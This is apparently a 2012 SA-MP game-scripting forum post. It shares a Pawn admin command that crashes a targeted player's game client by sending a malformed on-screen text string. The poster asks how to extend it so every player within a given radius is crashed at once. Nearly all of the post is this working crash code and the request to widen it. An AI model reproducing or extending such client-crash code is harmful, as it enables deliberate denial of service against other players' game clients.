27.07.2012, 10:18
ok so ive made this cmd
i wanna transfer it to a /crashnear where i type the radius such as /crashnear 100 will crash players in the radious of 100
pawn Код:
CMD:crash(playerid, params[])
{
if(PlayerInfo[playerid][pAdmin] < 99999)
{
SendClientMessageEx(playerid, COLOR_GRAD2, "You are not authorized to use this command!");
return 1;
}
new
id;
if(sscanf(params, "ud", id)) return SendClientMessage(playerid, -1, "USE: /crash [ID]");
SendClientMessageEx(playerid, COLOR_RED, "Please note this command will crash the given player");
if(!IsPlayerConnected(id)) return SendClientMessage(playerid, -1, "Player not connected.");
GameTextForPlayer(id, "%%$#@1~555#",66666000, 6);
return 1;
}